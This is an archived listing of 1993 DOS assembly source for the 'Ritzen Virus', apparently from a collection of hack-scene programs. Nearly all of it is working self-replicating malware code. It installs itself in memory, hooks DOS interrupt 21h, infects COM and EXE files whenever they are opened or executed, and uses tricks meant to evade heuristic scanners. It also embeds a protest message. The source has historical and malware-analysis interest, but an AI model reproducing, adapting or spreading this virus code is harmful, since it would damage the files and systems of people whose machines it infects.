home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / RITZEN.ASM < prev    next >
Assembly Source File  |  1993-07-15  |  9KB  |  496 lines

  1. ;*****************************************************************************
  2. ;*                                         *
  3. ;*    The Ritzen Virus                                  *
  4. ;*                                         *
  5. ;*    (c) '93, by S.A.R. (Students Agains Ritzen) / TridenT                  *
  6. ;*                                         *    
  7. ;*****************************************************************************
  8.  
  9.         .model tiny
  10.         .radix 16
  11.         .code
  12.  
  13. len        equ    offset last - atlantic
  14. len_para    equ    len /10h
  15.  
  16. mem_size    equ    60h
  17.  
  18.         org    100h
  19.  
  20.  
  21. dummy:        db    0e9h,00h,00h            ; dummy file,
  22.                             ; contains jump to
  23.                             ; virus code.
  24.  
  25. atlantic:    call    get_ip                
  26.         sub    bp,offset atlantic+3
  27.         
  28. rest_host:    push    ds
  29.         pop    ax
  30.         mov    cs:[segm+bp],ax
  31.         cmp    cs:[type_host+bp],'E'        ; check if host
  32.         je    fix_exe                ; is COM or EXE.
  33.  
  34. fix_com:    lea    si,cs:[com_start+bp]        ; fix start of
  35.         mov    ax,es
  36.         inc    ax
  37.         mov    es,ax
  38.         mov    di,00F0h            ; com host with
  39.         mov    cx,03h                ; original data.
  40.         rep    movsb        
  41.         
  42.         mov    ax,es
  43.         dec    ax
  44.         mov    es,ax
  45.  
  46.         mov    ax,0100h            ; IP start at 0100h.
  47.         push    cs                ; store segment+IP 
  48.         push    ax                ; on stack.
  49.         jmp    chk_resident
  50.  
  51. fix_exe:    mov    ax,cs:[exe_cs+bp]        ; CS and IP on stack
  52.         mov    bx,ax
  53.         mov    ax,ds
  54.         add    ax,bx
  55.         add    ax,10h
  56.         push    ax
  57.         mov    bx,cs:[exe_ip+bp]
  58.         push    bx                
  59.         
  60. chk_resident:    mov    dx,0aaaah
  61.         mov    ax,3000h
  62.         int    21h
  63.         cmp    dx,0bbbbh
  64.         je    end_install
  65.  
  66. mem_install:    push    ds                ; let DS points
  67.         push    ds
  68.         pop    ax                ; to MCB
  69.         dec    ax                ; 2 times to fool
  70.         dec    ax                ; heuristic scanners
  71.         push    ax
  72.         pop    ds
  73.         cmp    byte ptr ds:[0010],5ah        ; last MCB?
  74.         jne    abort_install            ; if no, quit.
  75.         
  76.         mov    ax,ds:[0013]            ; adjust memory
  77.         sub    ax,mem_size            ; size.
  78.         mov    ds:[0013],ax            ; store size in MCB.
  79.  
  80.         pop    ds                ; restore original
  81.                             ; DS segment.
  82.         
  83.         sub    word ptr ds:[0002],mem_size    ; don't forget to
  84.                             ; adjust memory
  85.                             ; size stored in
  86.                             ; PSP to.
  87.  
  88. vir_install:    xchg    ax,bx                ; install virus
  89.         mov    ax,es                    
  90.         add    ax,bx                ; AX = virussegment
  91.         mov    es,ax                
  92.         mov    cs:[vir_seg+bp],ax
  93.  
  94.         push    cs
  95.         pop    ds
  96.          
  97.         lea    si,[atlantic+bp]        ; copy virus to
  98.         lea    di,es:0103h            ; memory
  99.         mov    cx,len
  100. copy:        movsb
  101.         dec    cx
  102.         jnz    copy
  103.  
  104.         push    ds
  105.         pop    es
  106.  
  107. hook_i21h:    cli
  108.         mov    ax,3521h
  109.         int    21h
  110.  
  111.         mov    ds,cs:[vir_seg+bp]
  112.         mov    [i21h],bx
  113.         mov    [i21h+2],es
  114.  
  115. ;        mov    dx, offset ds:[mine_i21h]
  116. ;        mov    ax,2521h
  117. ;        int    21h
  118.  
  119.         mov    ax,ds
  120.         mov    bx,ax
  121.         mov    dx, offset ds:[mine_i21h]
  122.         xor    ax,ax
  123.         mov    ds,ax
  124.         mov    ds:[4*21h],dx
  125.         mov    ds:[4*21h+2],bx    
  126.  
  127.         sti
  128.         
  129.         
  130. abort_install:    mov    ax,cs:[segm+bp]
  131.         push    ax
  132.         pop    es
  133.         push    es
  134.         pop    ds
  135.  
  136. end_install:    retf
  137.  
  138. ;*************************************************************************
  139. ;*                                     *
  140. ;*        I N T E R U P T   H A N D L E R              *
  141. ;*                                     *
  142. ;*************************************************************************
  143.  
  144. mine_i24h:    mov    al,03h
  145.         iret
  146.  
  147. mine_i21h:    pushf                    ; check for
  148.         cmp    ax,3000h            ; virus ID
  149.                 jne     new_21h
  150.         cmp    dx,0aaaah
  151.                 jne     new_21h
  152.                 mov     dx,0bbbbh                       ; return ID
  153.         popf
  154.         iret
  155.  
  156.  
  157. new_21h:    push    ax                ; save registers
  158.         push    bx
  159.         push    cx
  160.         push    dx
  161.         push    ds
  162.         push    es
  163.         push    di
  164.         push    si
  165.  
  166. chk_open:    xchg    ax,bx
  167.         cmp    bh,3dh                ; open file?
  168.         je    chk_com
  169.  
  170. chk_exec:    cmp    bx,04b00h            ; execute file?
  171.         je    chk_com
  172.  
  173. continu:    pop    si                ; restore registers
  174.         pop    di
  175.         pop    es
  176.         pop    ds
  177.         pop    dx
  178.         pop    cx
  179.         pop    bx
  180.         pop    ax
  181.  
  182. next:        popf                    ; call original
  183.         jmp    dword    ptr cs:[i21h]        ; interupt
  184.     
  185. ;**************************************************************************
  186. ;*                                      *
  187. ;*        C H E C K  C O M / E X E   F I L E               *
  188. ;*                                      *
  189. ;**************************************************************************    
  190.  
  191.  
  192. chk_com:    mov    cs:[name_seg],ds
  193.         mov    cs:[name_off],dx
  194.         cld
  195.  
  196.         mov    cx,0ffh
  197.         push    ds
  198.         pop    es
  199.         push    dx
  200.         pop    di
  201.         mov    al,'.'
  202.         repne    scasb
  203.         cmp    word ptr es:[di],'OC'
  204.                 jne     chk_exe
  205.         cmp    word ptr es:[di+2],'M'
  206.                 jne    continu
  207.                 jmp     infect_com
  208.  
  209.  
  210.  
  211. chk_exe:    cmp    word ptr es:[di],'XE'
  212.         jne    continu
  213.         cmp    word ptr es:[di+2],'E'
  214.         jne     continu
  215.         jmp    infect_exe
  216.  
  217.  
  218.  
  219. ;**************************************************************************
  220. ;*                                      *
  221. ;*        I N F E C T   C O M - F I L E                  *
  222. ;*                                      *
  223. ;**************************************************************************
  224.  
  225. infect_com:    call    init
  226.         cmp    cs:[fout],0ffh
  227.         je    close_file
  228.         
  229.         mov    cs:[type_host],'C'
  230.         
  231.         mov    ax,4200h    ; go to start of file    
  232.         call    mov_point
  233.         
  234.         mov    cx,03h
  235.         mov    ah,3fh
  236.         lea    dx,cs:[com_start]
  237.         call    do_int21h
  238.         
  239.         mov    ax,4200h
  240.         call    mov_point
  241.         mov    ax,4202h
  242.         call    mov_point
  243.  
  244.         sub    ax,03h
  245.         mov    cs:[lenght_file],ax
  246.  
  247.         call    write_jmp
  248.         call    write_vir
  249.  
  250.         call    save_date
  251.  
  252. close_file:    mov    bx,cs:[handle]
  253.         mov    ah,3eh
  254.         call    do_int21h
  255.         
  256. restore_int24h:    mov    dx,cs:[i24h]
  257.         mov    ds,cs:[i24h+2]
  258.         mov    ax,2524h
  259.         call    do_int21h
  260.  
  261.         jmp    continu
  262.  
  263. ;**************************************************************************
  264. ;*                                      *
  265. ;*        I N F E C T   E X E - F I L E                  *
  266. ;*                                      *
  267. ;**************************************************************************     
  268.  
  269. infect_exe:    call    init
  270.         cmp    cs:[fout],0ffh
  271.         je    close_file
  272.         mov    cs:[type_host],'E'
  273.  
  274.         mov    ax,4200h
  275.         call    mov_point
  276.         mov    ah,3fh
  277.         mov    cx,18h
  278.         lea    dx,[head_exe]
  279.         call    do_int21h
  280.  
  281.         call    inf_exe
  282.  
  283.         call    save_date
  284.         jmp    close_file        
  285.  
  286.  
  287. ;**************************************************************************
  288. ;*                                      *
  289. ;*        R O U T I N E S                          *
  290. ;*                                      *
  291. ;**************************************************************************
  292.  
  293. get_ip:        push    sp                ; get ip from stack
  294.         pop    bx    
  295.         mov    ax, word ptr cs:[bx]
  296.         mov    bp,ax
  297.         ret
  298.     
  299. init:        mov    cs:[fout],00h
  300.         
  301.         call    int24h
  302.         call    open_file
  303.         jc    error
  304.         call    set_atributes
  305.                 call    get_date
  306.         call    chk_infect
  307.         je    error
  308.         ret
  309.  
  310. error:        mov    cs:[fout],0ffh
  311.         ret
  312.  
  313.  
  314. int24h:        push    cs
  315.         pop    ds
  316.         mov    ax,3524h
  317.         call    do_int21h
  318.         mov    cs:[i24h],bx
  319.         mov    cs:[i24h+2],es
  320.         mov    dx, offset mine_i24h
  321.         mov    ax,2524h
  322.         call    do_int21h
  323.         ret
  324.  
  325. mov_point:    push    cs
  326.         pop    ds
  327.         mov    bx,cs:[handle]
  328.         xor    cx,cx
  329.         xor    dx,dx
  330.         call    do_int21h    
  331.         ret
  332.  
  333. open_file:    mov    ds,cs:[name_seg]
  334.         mov    dx,cs:[name_off]
  335.         mov    ax,3d02h
  336.         call    do_int21h
  337.  
  338.         mov    cs:[handle],ax
  339.         mov    bx,ax
  340.         ret
  341.  
  342. set_atributes:    mov    ax,4200h
  343.         mov    ds,cs:[name_seg]
  344.         mov    dx,cs:[name_off]
  345.         call    do_int21h
  346.         and    cl,0feh
  347.         mov    ax,4301h
  348.         call    do_int21h
  349.         ret
  350.  
  351. get_date:    mov    bx,cs:[handle]
  352.         mov    ax,5700h
  353.         call    do_int21h
  354.         mov    cs:[date],dx
  355.         mov    cs:[time],cx
  356.         ret
  357.  
  358. chk_infect:    push    cs
  359.         pop    ds
  360.         mov    ax,4202h
  361.         xor    cx,cx
  362.         sub    cx,01h
  363.         xor    dx,dx
  364.         sub    dx,02h
  365.         mov    bx,cs:[handle]
  366.         call    do_int21h
  367.         
  368.         mov    ah,3fh
  369.         mov    cx,02h
  370.         lea    dx,cs:[file_id]
  371.         call    do_int21h
  372.  
  373.         mov    al, byte ptr cs:[file_id]
  374.         mov    ah, byte ptr cs:[file_id]+1
  375.         cmp    ax,[virus_id]
  376.         ret
  377.  
  378. write_jmp:    push    cs
  379.         pop    ds
  380.         mov    ax,4200h
  381.         call    mov_point
  382.         mov    ah,40h
  383.         mov    cx,01h
  384.         lea    dx,cs:[jump]
  385.         call    do_int21h
  386.         
  387.         mov    ah,40h
  388.         mov    cx,02h
  389.         lea    dx,cs:[lenght_file]
  390.         call    do_int21h
  391.         ret
  392.     
  393. write_vir:    push    cs
  394.         pop    ds
  395.         mov    ax,4202h
  396.         call    mov_point
  397.         mov    ah,40h
  398.         mov    cx,len
  399.         mov    dx,103h
  400.         call    do_int21h
  401.         ret    
  402.  
  403. save_date:    mov    ax,5700h
  404.         call    do_int21h
  405.         mov    cs:[date],dx
  406.         mov    cs:[time],cx
  407.         ret
  408.         
  409. inf_exe:    mov    ax,word ptr cs:[head_exe+14h]
  410.         mov    cs:[exe_ip],ax
  411.         mov    ax, word ptr cs:[head_exe+16h]
  412.         mov    cs:[exe_cs],ax
  413.  
  414.         mov    ax,4200h
  415.         call    mov_point
  416.         mov    ax,4202h
  417.         call    mov_point
  418.         mov    bx,10h
  419.         div    bx
  420.         sub    ax, word ptr cs:[head_exe+08h]
  421.         mov    cs:[new_cs],ax
  422.         mov    cs:[new_ip],dx
  423.  
  424.         call    write_vir
  425.  
  426.         mov    ax,4200h
  427.         call    mov_point
  428.         mov    ax,4202h
  429.         call    mov_point
  430.         mov    bx,0200h
  431.         div    bx
  432.         cmp    dx,0000h
  433.         jne    not_zero
  434.         jmp    zero
  435. not_zero:    inc    ax
  436. zero:        mov    word ptr cs:[head_exe+02h],dx
  437.         mov    word ptr cs:[head_exe+04h],ax
  438.         mov    ax,cs:[new_ip]
  439.         mov    word ptr cs:[head_exe+14h],ax
  440.         mov    ax,cs:[new_cs]
  441.         mov    word ptr cs:[head_exe+16h],ax
  442.         mov    word ptr cs:[head_exe+0Eh],ax
  443.         add    word ptr cs:[head_exe+10],len_para
  444.         
  445. ;        mov    word ptr cs:[head_exe+10],1000
  446.  
  447.         mov    ax,4200h
  448.         call    mov_point
  449.  
  450.         mov    ah,40h
  451.         mov    bx,cs:[handle]
  452.         mov    cx,18h
  453.         lea    dx,cs:[head_exe]
  454.  
  455.         call    do_int21h
  456.         ret
  457.         
  458. do_int21h:    pushf
  459.         call    dword ptr cs:[i21h]
  460.         ret
  461.  
  462. ;****************************************************************************
  463. ;*                                        *
  464. ;*        D A T A                                *
  465. ;*                                        *
  466. ;****************************************************************************
  467.  
  468. type_host    db    'C'
  469. com_start    db    0cdh,20h,90h
  470. message        db    " Dedicated to Ritzen, our Minister of Education and Science."
  471.         db      " We are getting sick of your budget cuts so we hope that"
  472.         db      " you get sick of this virus.."
  473.         db    " (c) '93 by S.A.R. / TridenT ."
  474. exe_cs        dw    ?
  475. exe_ip        dw    ?
  476. new_cs        dw    ?
  477. new_ip        dw    ?
  478. vir_seg        dw    ?
  479. i21h        dw    00h,00h
  480. i24h        dw    00h,00h
  481. name_seg    dw    ?
  482. name_off    dw    ?
  483. lenght_file    dw    ?
  484. head_exe    db    18 dup (?)
  485. handle        dw    ?
  486. fout        db    ?
  487. file_id        dw    ?
  488. jump        db    0e9h
  489. date        dw    ?    
  490. time        dw    ?
  491. segm        dw    ?
  492. virus_id    dw    "AP"
  493. last        dw    "AP"
  494.  
  495.         end    dummy     
  496.